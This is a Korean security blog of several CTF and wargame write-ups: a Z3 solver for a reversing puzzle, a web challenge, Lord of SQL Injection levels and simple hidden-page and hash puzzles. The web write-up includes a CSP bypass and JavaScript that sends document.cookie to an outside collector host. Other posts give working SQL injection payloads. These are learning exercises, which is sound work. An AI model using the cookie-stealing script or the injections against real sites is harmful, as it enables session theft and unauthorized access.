안녕하세요. 잇님들

오늘은 정보보호 올림피아드에서 나온 Q2 문제를 알아볼꺼에요.

#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/stat.h>
#include <fcntl.h>

int Solution(unsigned int *data)
{

        if ( 316 * data[0]
	 - 901 * data[1]
     + 0 * data[2]
     - 984 * data[3]
     + 359 * data[4]
     - 986 * data[5]
     - 869 * data[6]
     - 733 * data[7]
     - 800 * data[8]
     + 621 * data[9] == -347560 ){
                if ( 754 * data[0]
				     + 103 * data[1]
				     - 230 * data[2]
				     + 359 * data[3]
				     - 516 * data[4]
				     + 133 * data[5]
				     - 16 * data[6]
				     - 500 * data[7]
				     - 343 * data[8]
				     + 980 * data[9] == 31039 ){
                        if ( 641 * data[0]
						     +262 * data[1]
						     - 415 * data[2]
						     - 889 * data[3]
						     + 621 * data[4]
						     - 855 * data[5]
						     - 818 * data[6]
						     - 785 * data[7]
						     - 866 * data[8]
						     - 799 * data[9]== -262955 ){
                                if ( 473 * data[0]
							     - 57 * data[1]
							     - 477 * data[2]
							     + 164 * data[3]
							     - 22 * data[4]
							     - 865 * data[5]
							     - 784 * data[6]
							     - 768 * data[7]
							     + 416 * data[8]
							    - 121 * data[9]== -180990){
                                        if ( 944 * data[0]
                                      - 912 * data[1]
                                      + 667 * data[2]
                                      + 303 * data[3]
                                      + 524 * data[4]
                                      - 523 * data[5]
                                      + 227 * data[6]
                                      + 799 * data[7]
                                      - 618 * data[8]
                                      - 739 * data[9]== 156060 ){
                                                if ( 597 * data[0]
                                              - 381 * data[1]
                                              - 996 * data[2]
                                              + 109 * data[3]
                                              + 476 * data[4]
                                              - 48 * data[5]
                                              - 710 * data[6]
                                              - 384 * data[7]
                                              - 390 * data[8]
                                              - 507 * data[9]== -143022){
                                                        if (164 * data[0]
                                                      - 300 * data[1]
                                                      - 808 * data[2]
                                                      + 308 * data[3]
                                                      + 311 * data[4]
                                                      - 144 * data[5]
                                                      + 230 * data[6]
                                                      + 251 * data[7]
                                                      + 998 * data[8]
                                                      - 469 * data[9]== 18791){
                                                                if (301 * data[0]
                                                              + 571 * data[1]
                                                              + 955 * data[2]
                                                              - 462 * data[3]
                                                              - 4 * data[4]
                                                              - 541 * data[5]
                                                              - 380 * data[6]
                                                              + 96 * data[7]
                                                              - 62 * data[8]
                                                              - 452 * data[9]== 60199){
                                                                 if (703 * data[0]
                                                                      - 635 * data[1]
                                                                      - 733 * data[2]
                                                                      + 119 * data[3]
                                                                      - 549 * data[4]
                                                                      + 220 * data[5]
                                                                      + 739 * data[6]
                                                                      + 102 * data[7]
                                                                      + 812 * data[8]
                                                                      - 770 * data[9]== -48454){
                                                                 if (207 * data[0]
                                                                       + 426 * data[1]
                                                                       + 324 * data[2]
                                                                       + 403 * data[3]
                                                                       + 149 * data[4]
                                                                       + 257 * data[5]
                                                                       + 765 * data[6]
                                                                       - 368 * data[7]
                                                                       + 707 * data[8]
                                                                       - 221 * data[9]== 202674 ){
                                                                

                                                                 return 1;
                                                                 
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                }
                                                                else
                                                                {
                                                                }
                                                        }
                                                        else
                                                        {
                                                        }
                                                }
                                                else
                                                {
                                                }
                                        }
                                        else
                                        {
                                        }
                                }
                                else
                                {
                                }
                        }
                        else
                        {
                        }

        return 0;
}

int main(){
        unsigned int data[10];

	puts(" ** enjoy **");
        fflush(stdin);
        int i; 
        for (i = 0; i < sizeof(data)/sizeof(int); i++) {
                printf(" Input[%d] : ", i);
                fflush(stdin);
                scanf("%u", &data[i]);
        }

        if ( (unsigned int)Solution(data) ) {
        
            printf(" [+] flag {%c%c%c%c%c%c%c%c%c%c}\n", data[0], data[1], data[2], data[3], data[4], data[5], data[6], data[7], data[8], data[9]);
        }
        else {
                puts(" [-] nope!!");
        }
        return 0;
}

 위와 같은 코드가 주어졌고, 10차 방정식을 풀어야되네요!

인간이 어떻게 이걸 다 푸냐고요? 네, 풀려면 엄청난 시간이 필요로 할꺼에요.

이걸 10초만에 계산하는 인간이 있다면, 그 사람은 외계인일 가능성이 높을꺼에요.

조심하세요...

#!/usr/bin/python
from z3 import *
import json

data = [ BitVec('%i'%i,8) for i in range(0,10)]



s = Solver()
 
# s.add(((data[3] * data[6]) ^ (data[2] * data[2])) == 7320)
s.add(316 * data[0] - 901 * data[1] + 0 * data[2] - 984 * data[3] + 359 * data[4] - 986 * data[5] - 869 * data[6] - 733 * data[7] - 800 * data[8] + 621 * data[9] == -347560)
s.add(754 * data[0] + 103 * data[1] - 230 * data[2] + 359 * data[3] - 516 * data[4] + 133 * data[5] - 16 * data[6] - 500 * data[7] - 343 * data[8] + 980 * data[9] == 31039)
s.add(641 * data[0] +262 * data[1] - 415 * data[2] - 889 * data[3] + 621 * data[4] - 855 * data[5] - 818 * data[6] - 785 * data[7] - 866 * data[8] - 799 * data[9]== -262955)
s.add(473 * data[0] - 57 * data[1] - 477 * data[2] + 164 * data[3] - 22 * data[4] - 865 * data[5] - 784 * data[6] - 768 * data[7] + 416 * data[8] - 121 * data[9]== -180990)
s.add(944 * data[0] - 912 * data[1] + 667 * data[2]  + 303 * data[3] + 524 * data[4] - 523 * data[5] + 227 * data[6] + 799 * data[7] - 618 * data[8] - 739 * data[9]== 156060)
s.add(597 * data[0] - 381 * data[1] - 996 * data[2] + 109 * data[3] + 476 * data[4] - 48 * data[5] - 710 * data[6] - 384 * data[7] - 390 * data[8] - 507 * data[9]== -143022)
s.add(164 * data[0] - 300 * data[1] - 808 * data[2] + 308 * data[3] + 311 * data[4] - 144 * data[5] + 230 * data[6] + 251 * data[7] + 998 * data[8] - 469 * data[9]== 18791)
s.add(301 * data[0] + 571 * data[1] + 955 * data[2] - 462 * data[3] - 4 * data[4] - 541 * data[5] - 380 * data[6] + 96 * data[7] - 62 * data[8] - 452 * data[9]== 60199)
s.add(703 * data[0] - 635 * data[1] - 733 * data[2] + 119 * data[3] - 549 * data[4] + 220 * data[5] + 739 * data[6] + 102 * data[7] + 812 * data[8] - 770 * data[9]== -48454)
s.add(207 * data[0] + 426 * data[1] + 324 * data[2] + 403 * data[3] + 149 * data[4] + 257 * data[5] + 765 * data[6] - 368 * data[7] + 707 * data[8] - 221 * data[9]== 202674)

print (s.check())

m = s.model()
print(m)

#for i in range(0, 10):
    #print(m[i])

"""
sat
[a4 = 111,
 a7 = 111,
 a2 = 108,
 a1 = 101,
 a0 = 104,
 a6 = 48,
 a9 = 47,
 a8 = 48,
 a5 = 92,
 a3 = 108]

a0 = 104,
a1 = 101,
a2 = 108,
a3 = 108,
a4 = 111,
a5 = 92,
a6 = 48,
a7 = 111,
a8 = 48,
a9 = 47,

String.fromCharCode(104,101,108,108,111,92,48,111,48,47)
"hello\0o0/"

"""

위와 같이 풀어주면, 아스키코드가 나오고, 자바스크립트 콘솔을 통해 플래그를 얻을 수 있었습니다.

웹사이트 접속하고 나서, 무슨 사이트 인지 파악하기 위해 막 눌러봤다.

howtobuy.php로 끝나는 페이지에서 아래와 같은 문구를 발견하였다.

총기구매하기 위해서는, "스페셜"이라는 권한이 필요하다는 사실을 문구를 통해서 알 수 있었다.

페이지 소스 보기를 통해서, 주석을 발견할 수 있었고, 주석을 통해서 "스페셜" 권한을 얻을 수 있을 수 있는 힌가 될 것이라고 판단하여, 접속해봤습니다.

해당 페이지는 마찬가지로, "스페셜" 권한을 가지고 있는지 아닌지에 대해 알려주고 있었습니다.
또한 주석에는 호기심을 자극하도록 되어있었습니다. (??)

<?php

if (basename(__FILE__) == basename($_SERVER["SCRIPT_FILENAME"])
    && isset($_GET["remote_debug"]))
  die(show_source(__FILE__));

if(!isset($_SESSION))
  session_start();

function is_special() {
  if(!isset($_SESSION["perm"]))
    return false;
  return $_SESSION["perm"];
}


if(isset($_GET["cred_plain"])) {
  $cred = $_GET["cred_plain"];
  $avail_users = [
    "admin" => "f6566fbef52560d383f5aa6a100697d8",
    "manager" => "ab1f6495fcbec4f0ea50425cc5539672",
    "guest" => false //Guest doesn't need to have credential!
  ];

  if(strpos($_SERVER["QUERY_STRING"], "cred_plain") || // During development, you can't get credential with cred_plain
      strpos($_SERVER["QUERY_STRING"], "["))            // Don't cheat!
    die("Don't cheat");

  if(in_array(md5($cred), $avail_users))
    $_SESSION["perm"] = true;
  else
    $_SESSION["perm"] = false;
}

if (basename(__FILE__) == basename($_SERVER["SCRIPT_FILENAME"])) {
  echo "<h4>You are ".(is_special() ? "special" : "not special")." now </h4>";
}
?>
<!-- ?remote_debug=1 -->
1

그래서 들어가봤고, 위와 같은 코드를 볼 수 있었습니다.

cred_plain 라는 파라미터를 GET 메소드로 받을 수 있다는 사실을 코드를 통해 알 수 있었고,

아래 코드를 참조해서, 스페셜이 될 수 있는 조건을 알 수 있었습니다.

  if(in_array(md5($cred), $avail_users))
    $_SESSION["perm"] = true;
  else
    $_SESSION["perm"] = false;

function is_special() {
  if(!isset($_SESSION["perm"]))
    return false;
  return $_SESSION["perm"];
}

위 조건식을 충족을 시킬 경우, "스페셜" 권한을 얻을 수 있었습니다.

그렇다면, 어떻게 조건식을 충족을 할 수 있을까요? 조건식을 충족을 하기 위해서 한번 좀 더 깊숙하게 들어가보도록 합시다!

if(in_array(md5($cred), $avail_users))

md5 함수는 배열을 받을 경우, false를 내뱉으며, false가 $avail_users 딕셔너리에 'guest' 항목이므로 in array 함수가 True가 됩니다. 그렇다면, cred_plain이 Array이어야 합니다.

그건 매우 간단한 솔루션을 마련하여, 해결할 수 있었습니다.

http://52.78.151.181/get_perm.php?cred_plain%5B%5D=asdfasdfsdfsdf

이렇게 만약 요청을 보낼 경우, "스페셜" 권한을 얻을 수 있었습니다.

이제 "스페셜" 권한을 얻었으니, 총기를 구매할 수 있습니다.

1. Product Code - 입력같은 경우 아무거나 입력해도, 상관이 없었습니다.

2. Purpose of use (free format, max 300 letters) - HTML Element Escape?를 통해, 원하는 HTML Element를 전달할 수 있도록 했습니다.

해당 사이트에서는 CSP(Content Security Policy)가 존재했으며, base-uri같은 경우 설정 미스로, 설정 미스를 통해 CSP Bypass를 할 수 있게 됩니다.

사이트에 있는 스크립트를 만약 "abc.com/static/js/jquery.min.js"라는 부분이 있다면, base tag에 의해서, "yunseok.kr/static/js/jquery.min.js"로 요청하는 꼴이 됩니다.

그렇다면, yunseok.kr 웹서버에서 똑같은 경로에 똑같은 파일 명으로 악성 스크립트전파한다면, 그거야 말로 파급력은 대단할 것입니다.

저는 아래와 같이 코드를 업로드했습니다.

var payload = document.cookie;
var nonce = document.querySelector("script").nonce;

var src = `https://postb.in/1569059561759-0691916393116?hello=/?${payload}`

var s = document.createElement('script')
s.type = 'text/javascript'
s.src = src
s.setAttribute('nonce', nonce)

document.body.appendChild(s);

3. Pistol license - 해당 파일같은 경우 아무거나 보내도 무관했습니다.

4. Proof of work - 특정 값을 sha1로 암호화할 경우, 앞 5자리를 입력 값의 sha1 암호화해서 대조하여, 일치하는지 확인하는 부분입니다. / 이 부분에 대해서는 아래 코드를 통해, 알 수 있었습니다.

from hashlib import sha1

def get_hash(target):
    for val in range(10000000):
        if sha1(str(val).encode('utf-8')).hexdigest()[:5] == target:
            print(val)
            break


stra = input()
get_hash(stra)

위와 같이 해서 "Send Request" 버튼을 눌러서, 어드민에게 요청이 갈 것이며, 우리가 생각하는 생각 대로 정상적으로 악성 스크립트실행 되어, Flag가 우리에게 올 것입니다. 

그렇게 해서, "th1s1sv3rys3cr3tm4g1c0fc55" 라는 값을 얻을 수 있었고, 이건 바로 플래그다.

Flag is FLAG{th1s1sv3rys3cr3tm4g1c0fc55}

'WarGame or CTF > CTF' 카테고리의 다른 글

정보보호올림피아드 2020 본선 Q2 문제  (0) 2021.01.08
DIMIGO CTF 2019 Qualification  (0) 2019.07.29
http://www.wechall.net
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>

no에 GET을 받고 있다. 하지만 Quotes를 차단하는 것으로 보인다. 그렇다면 hex로 뚜까 패주면 된다!
No값에 0x27%20or%20id=0x61646D696E%23

0x27 = ' 
0x61646D696E = admin
%23 = #

'WarGame or CTF > Wargame' 카테고리의 다른 글

[Lord of SQL Injection] cobolt  (0) 2019.10.07
[Lord of SQL Injection] gremlin  (0) 2019.10.07
[ctf.j0n9hyun.xyz] 보물  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Hash  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Button  (0) 2019.06.24
<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

이전 챌린지와 동일하게, 필터링을 하게 되는 것으로 보인다.

그러므로 간단하게! id에 admin'#injection을 할 경우 result['id'] == admin가 됨으로써 Solve가 된다!

'WarGame or CTF > Wargame' 카테고리의 다른 글

[Lord of SQL Injection] goblin  (0) 2019.10.07
[Lord of SQL Injection] gremlin  (0) 2019.10.07
[ctf.j0n9hyun.xyz] 보물  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Hash  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Button  (0) 2019.06.24

아래와 같이 SQL Injection 문제가 주어졌다.

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

인증만 우회하면 될 것으로 보여,

ID: gremlin
PW: %27%20or%201=1%23

위와 같이 Request를 하여 Clear을 하였다.

'WarGame or CTF > Wargame' 카테고리의 다른 글

[Lord of SQL Injection] goblin  (0) 2019.10.07
[Lord of SQL Injection] cobolt  (0) 2019.10.07
[ctf.j0n9hyun.xyz] 보물  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Hash  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Button  (0) 2019.06.24

해당 문제는 Page1, Page 2, Page 3 이런 식으로 정렬이 되어있다.

1번 버튼을 눌러줬을 경우, /?page=1을 볼 수 있다.

하지만 숨겨져있다고 하였기에, 1번부터 2000번까지 브루트포싱을 진행할 경우,
1225에서 플래그가 아래 사진처럼 나온다.

 

'WarGame or CTF > Wargame' 카테고리의 다른 글

[Lord of SQL Injection] cobolt  (0) 2019.10.07
[Lord of SQL Injection] gremlin  (0) 2019.10.07
[ctf.j0n9hyun.xyz] Hash  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Button  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Hidden  (0) 2019.06.24

해당 문제는 md5를 encryption을 하여, 푸는 문제이다.

위를 볼 경우 240610708를 md5로 encryption을 해줘야된다.
그 결과는 0e462097431906509019562988736854이며, 그대로 입력을 해준다면?

이것도 magic hash 라고 하는지는 모르겠지만, 정상적으로 잘 풀린다는 것을 확인할 수 있다.

'WarGame or CTF > Wargame' 카테고리의 다른 글

[Lord of SQL Injection] gremlin  (0) 2019.10.07
[ctf.j0n9hyun.xyz] 보물  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Button  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Hidden  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Authorized  (0) 2019.06.24

위처럼 버튼에서 플래그를 나오게끔 해달라고 한다.

크롬의 개발자 도구를 통하여, form 안에 있는 input value를 button -> flag로 해줬다.

정상적으로 내뱉는 것을 확인할 수 있었다.

'WarGame or CTF > Wargame' 카테고리의 다른 글

[ctf.j0n9hyun.xyz] 보물  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Hash  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Hidden  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Authorized  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Hidden Flag  (0) 2019.06.24

사이트를 들어가게 될 경우 1, 2, 3, 4로 정렬이 되어있다.

하지만 위에 "5번 파일에 플래그가 있다악!!!!!!!"을 보게될 경우,

5번을 찾아야되겠지만, 없는 것을 볼 수 있다.
어떤 방식으로 굴러가는지 알기 위해 아무거나 눌러준다.

1번 파일을 눌러줄 경우 /?id=1 로 보내주는 것을 확인할 수 있다.
그렇다면 우리는 5번 파일을 눌러줘야된다. 그렇다면? /?id=5을 해주면 되는 것이다.
정말 간단하고 쉬운 문제이다.

'WarGame or CTF > Wargame' 카테고리의 다른 글

[ctf.j0n9hyun.xyz] Hash  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Button  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Authorized  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Hidden Flag  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Home  (0) 2019.06.20

+ Recent posts